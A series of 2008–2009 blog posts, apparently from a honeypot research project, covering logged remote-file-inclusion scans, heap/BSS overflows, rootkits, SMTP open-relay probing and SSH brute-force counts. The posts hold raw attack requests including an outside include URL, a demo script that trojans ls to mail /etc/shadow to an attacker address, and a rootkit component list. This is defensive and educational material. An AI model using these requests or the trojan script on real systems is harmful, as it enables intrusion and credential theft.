version 1.0.4, this application has now in version 1.2. While our honeypot not have this application installed, although there were made some attempts to attacks on this application, two of them over the vulnerability of this file, as the log show’s. --MARK--,"Wed Dec 24 16:07:29 WET 2008","IIS/HTTP","74.52.10.34","192.168.1.50",54941,80, "GET /webcalendar/tools/send_reminders.php?noSet=0&includedir=http://217.20.172.129/twiki/a.gif?/ HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Morfeus Fucking Scanner Host: 82.155.248.190 Connection: Close ", --ENDMARK--  --MARK--,"Wed Dec 24 16:07:30 WET 2008","IIS/HTTP","74.52.10.34","192.168.1.50",55003,80, "GET /calendar/tools/send_reminders.php?noSet=0&includedir=http://217.20.172.129/twiki/a.gif?/ HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Morfeus Fucking Scanner Host: 82.155.248.190 Connection: Close ", --ENDMARK--  This scanner (MFS) scans a list of hosts and attempts to link up several times until the server be attacked. In our case this type of request on port 80 only returns a 404 error. The gif file that the attacker wants to include just print a message: echo (" Morfeus hacked you ");  Conclusion Although this file has been fixed in this application, the truth is that this scanner continues to include this as a test. The reason for this is that still have many applications with this vulnerability exposed on the Internet. Mambo/Joomla The CMS Mambo is very popular and used worldwide. The Joomla is a derivative of the first one. In this applications have been discovered many bugs, MFS seems to use some of them. We saw one in particular: --MARK--,"Wed Dec 24 16:07:34 WET 2008","IIS/HTTP","74.52.10.34","192.168.1.50",55438,80, "GET /shop/index.php?option=com_registration&task=register//boutique/index2.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://217.20.172.129/twiki/a.gif?/ HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Morfeus Fucking Scanner Host: 82.155.248.190 Connection: Close ", --ENDMARK--  The attacker wants to set the variable mosConfig_absolute_path from the file index.php with the typical message that has already explained above. What we find is that the input passed to this file in not validated before being used to include files. This system can be victim of one attack by allowing run code from any source without ever make payable checks. Prevent attacks from MFS One way to block this type of attacks from MFS is to add the following lines of code in file. “htaccess” in the folder of the website. # Start of .htaccess change. RewriteEngine On RewriteCond %{HTTP_USER_AGENT} ^Morfeus RewriteRule ^.*$ - [F]
# End of .htaccess change.


Outroduction

Note that the “.htaccess” solutions that I gave only works for HTTP servers that use Apache. Users of IIS can use the IsapiRewrite tool.

22 01 2009

Intro

This post is the continuation of Tracing the attack – Part I. And this post is the final one, of this stack.
Here I’m gonna to talk about the Heap/BSS Overflow and Rootkits.

Heap

In the Stack, the memory is allocated by kernel (as explained in Part I). In the other hand the Heap is a structure where the program can dynamically allocate memory. With the use of malloc(), realloc() and calloc() functions.

BSS segment

BSS stands for Block Started by Symbol and is used by compilers to store static variables. This variables are filled with zer-valued data at the start of the program. In C programing language all the not initialized and declared as static variables are placed in the BSS segment.

Heap/BSS Overflow

As a simple example, extracted from w00w00 article, to demonstrate a heap overflow:

   /* demonstrates dynamic overflow in heap (initialized data) */
#define BUFSIZE 16
#define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */

int main()
{
u_long diff;
char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE);

diff = (u_long)buf2 - (u_long)buf1;
printf("buf1 = %p, buf2 = %p, diff = 0x%x bytesn", buf1, buf2, diff);

memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = '';

printf("before overflow: buf2 = %sn", buf2);
memset(buf1, 'B', (u_int)(diff + OVERSIZE));
printf("after overflow: buf2 = %sn", buf2);

return 0;
}


Now, when we execute this code with parameter 8:

   [root /w00w00/heap/examples/basic]# ./heap1 8
buf1 = 0x804e000, buf2 = 0x804eff0, diff = 0xff0 bytes
before overflow: buf2 = AAAAAAAAAAAAAAA
after overflow: buf2 = BBBBBBBBAAAAAAA


This works like that, because buf1 overruns its boundary and write data in buf2 heap space. This program don’t crash because buf2 heap space still a valid segment.

To see a BSS overflow we just have to replace the:
‘char *buf = malloc(BUFSIZE)’, by: ‘static char buf[BUFSIZE]’

If the heap is non-executable that will prevent the use of function calls there. But even so, that won’t prevent heap overflows.

I won’t talk anymore about that subject in this post, if you want to learn more about that you can see the w00w00 article, and some-more from the references section (at the end of this post).

Rootkits

After gaining access the target machine (using an exploit for example), the attacker must ensure will continue to have access even after the victim has fixed the vulnerability, and without it knows that the system remains compromised. And the attacker can achieve this through the installation of a rootkit on the target machine.
A rootkit is basically a set of tools (backdoors and trojan horses) designed with the aim to provide absolute control of the target machine. A backdoor is a way to authenticate a legitimate machine, providing remote access the same while trying to remain undetected. For example, you can take the form of a program or a change in a program already installed. A trojan horse (or just textittrojan) is usually a program that supposedly plays a role but which actually also plays other malicious functions without the knowledge of the victim.
Then we show a very simple example of a bash script that creates a possible trojaned ls:

#!/ bin/bash
mv /bin/ls /bin/ls.old
/bin/echo "cat /etc/shadow | mail attacker@domain.com" > /bin/ls
/bin/echo "/ bin/ls.old" >> /bin/ls
chmod +x /bin/ls


It is clear that we are not considering the fact that the ls can receive arguments, this is just for example purposes. And is good to show an example of the objective of a trojan.

Usually the use of a real trojan would install a modified versions of several binary (lsof, ps, etc). The idea of changing this programs is to hide the trojan itself. With a ps changed command, the user could not see the trojan process running.

Here is a list of the changed programs when you install Linux Rootkit 4:

bindshell	port/shell type daemon!
chfn		Trojaned! User > r00t
chsh		Trojaned! User > r00t
crontab     Trojaned! Hidden Crontab Entries
du		Trojaned! Hide files
find		Trojaned! Hide files
fix		File fixer!
ifconfig	Trojaned! Hide sniffing
inetd		Trojaned! Remote access
killall		Trojaned! Wont kill hidden processes
linsniffer	Packet sniffer!
ls             Trojaned! Hide files
netstat      Trojaned! Hide connections
passwd	Trojaned! User > r00t
pidof		Trojaned! Hide processes
ps		Trojaned! Hide processes
rshd		Trojaned! Remote access
sniffchk	Program to check if sniffer is up and running
syslogd	Trojaned! Hide logs
tcpd		Trojaned! Hide connections, avoid denies
top		Trojaned! Hide processes
wted		wtmp/utmp editor!
z2		Zap2 utmp/wtmp/lastlog eraser!


There are many rootkits over the network, the most common, compromise Windows and Unix systems.

Detecting and removing rootkits

When someone suspect that his system have been compromised, the best thing wold be use some tool to detect and remove rootkits. We have, for Linux: chkrootkit and rkhunter and for Windows you can use the RootkitRevealer.

As curious, I would like to mention that in 2005, Sony BMG put a rootkit in several CDs of music that is self-installed (without notice) on computers where the CDs were read, for more about this.

Outroduction

As we saw, an attacker start of using a scanner against a particular range of ip’s, would then see if there are services available, then do a dictionary attack using the country’s victim language, extracted from the IP. Or could also detect vulnerabilities in the system, that he could use to gain access. After having access to the computer the attacker terminate by installing a rootkit to gain permanent access to this system.

As a bonus I also explain some minimalistic examples of how can someone, that have physical access to a system, can gain root access to it exploiting some programs that are running in that system.

This area is so vast that is still impossible to predict the ways to do an attack. Imagine that an attacker gain access to a computer, but they don’t have root credentials. Attackers probably will try to exploit some programs that are running in that systems…

SMTP Attacks

11 01 2009

This post is part of the results discovered when the honeypot was running. This port concerns to SMTP connections to the honeypot.

SMTP

SMTP stands for Simple Mail Transfer Protocol, defined in RFC 2821, it is a standard protocol that allows transmission e-mails through IP networks.
Typically the SMTP is used on the server side to send and receive e-mail messages while on the client side is only used to send e-mails. To receive clients use the protocol POP3 or Internet Message Access Protocol (IMAP).

In the following chart I will show the activity that were on our honeypot, throw port 25, while our honeypot was on:

The e-mail client (SMTP client) connects to port 25 of the e-mail server, this is the default SMTP port, and sends an EHLO to the server indicating his identity. The server opens the session and provide a list of the extensions it supports in a machine-readable format.

S: 220 bps-pc9.local.mynet Microsoft ESMTP MAIL Service, Version: 5.0.2195.5329 ready at  Dom Jan 11 19:32:00 WET 2009
C: EHLO localhost
S: 250-bps-pc9.local.mynet Hello [1]
S: 250-TURN
S: 250-ATRN
S: 250-SIZE
S: 250-ETRN
S: 250-PIPELINING
S: 250-DSN
S: 250-ENHANCEDSTATUSCODES
S: 250-8bitmime
S: 250-BINARYMIME
S: 250-CHUNKING
S: 250-VRFY
S: 250-XEXCH50}
S: 250 OK


The 250 code is the best message from all available and means: Requested action taken and completed. In fact this EHLO message is an extension to SMTP (ESMTP), according to RFC1869. Because so, some old servers may not support EHLO command, and in that case the client must use HELO.

Spammers can pass throw unchecked HELO commands, hitting non fully qualified domain names to identify herself.
As we have seen in the honeypot log files, many attempts from spammers to do that:

EHLO user-3i39rqqo1r
...
EHLO premier-ksxhhv6
...
EHLO mta101
...
EHLO msg-g09pmirpcam


We can reduce this attempts just requiring the identity between […], and configuring SMTP server to check that.
Another idea is to check the HELO/EHLO argument and verify if it does not resolve in DNS. There are lot more kind of validations to resolve this problem, but unfortunately seems that a lot of SMTP administrators simply ignore section 3.6 of RFC2821.
Of course we don’t implement that in our honeypot, because we want to attract all kind of people to interact with our system.

Here is some statistics from identification attempts to the SMTP server in our honeypot:

And here you can see the preferred command from attackers:

So, we can really do something to stop spreading spamm from the networks…

Continuing with explanation of SMTP: now, if we want to send an e-mail, we must start with MAIL FROM: and the the e-mail address of the sender, between brackets. In the example below I do not use brackets because of HTML, but in SMTP server you will need.

C: MAIL FROM: from@domain.com
S: 250 from@domain.com... Sender ok


This command tells the server that a new mail is starting to be done, and the server reset all its state tables and buffers, from previous e-mails. If SMTP accept then it return the code 250. SMTP do a validation here, to verify is the person who is using the service can send mail’s using e-mail address from@domain.com.

Now the e-mail client can give the address of the recipient of the message. The command to perform this action, RCPT TO:

C: RCPT TO: to@domain.com
S: 250 to@domain.com... Recipient ok (will queue)


The server will save the mail locally, and we are ready to write the body of our e-mail.
To start writing the message we hit:

C: DATA
S: 354 Start mail input; end with CRLF.CRLF
C: From: from@domain.com
C: To: realTO@domain.com
C: Subject: BC_82.155.126.2
C: Date: Sun, 07 Dec 08 19:24:09 GMT
C: Hello, I'm a spammer!


Yes, in fact you can put a completely different e-mail and name from the one you put in RCPT TO.
When the message is finished, you hit CRLF.CRLF and you are done, the e-mail will be added to the queue, and will be sent.

The problem begins when the SMTP server don’t verify the command FROM parameter, that is what is called an Open Mail Relay.

Open Relay Scanners

The SMTP servers support a lot of configurations, just like other servers. We say that an open mail relay is an SMTP server configuration that allow anyone on the Internet to send e-mail. This e-mails could be sent to known and not known users from the system. This used to be the default configuration of SMTP servers. With the emergence of spammers these systems began to appear on blacklists of other servers.
But the truth is that until today, some SMTP servers are configured this way. Allowing spreading of spamm and worms. Then you have John Gilmore who run a Open mail relay since the 90’s, and is blacklisted in a lot of servers.

We have find a lot of hit’s from open relay scanners in our honeypot:

HELO 82.155.248.223
MAIL FROM:
RCPT TO:
DATA
Subject: Super webscan open relay check succeded, hostname = 82.155.248.223

HELO 82.155.248.223
MAIL FROM:
RCPT TO:
DATA
Subject: Super webscan open relay check succeded, hostname = 82.155.248.223

HELO 82.155.248.223
MAIL FROM:
RCPT TO:
DATA
Subject: Super webscan open relay check succeded, hostname = 82.155.248.223


We found also that all the open mail relay attacks where from cities in Taiwan, this country seems to have a big activity on what concerns to spamm, like ProjectHoneyPot page shows:

118.165.91.55 - Taipei
219.86.32.1 - Hualien
124.11.193.219 - Taipei
124.11.192.173 - Taipei
114.44.42.34 - Taipei
114.44.43.87 - Taipei


I have checked, and all of them are blacklisted in international DNSBLs.
By the way, all of them use Windows XP SP1, if that matters…

With an open mail relay machine active, spammers can send a lot of spamm throw that machine to their targets, distributing the cost of sending spamm to various computers.

Future Work

For now that’s all the stuff we find in our honeypot logs related to the SMTP server.
Stay tuned, for further news.

11 01 2009

Back with honeypot news! We have launched our honeypot for 5 weeks, and now we have results to show you. In this post I will show you the attempts that attackers make to get into our ssh honeypot server.

The ssh honeypot was fustigated during these 5 weeks. Several attempts were made, about 78227, but no one successful.

Here is the graphic for usernames attempts:

And here is the graphic for password attempts:

Future Work

We will show all the rest of information that we capture on our honeypot in the future. We have discovered great stuff.
I have also done a nice program to generate statistics in Haskell using HaskellCharts, I will talk about that later too.

That’s all for now!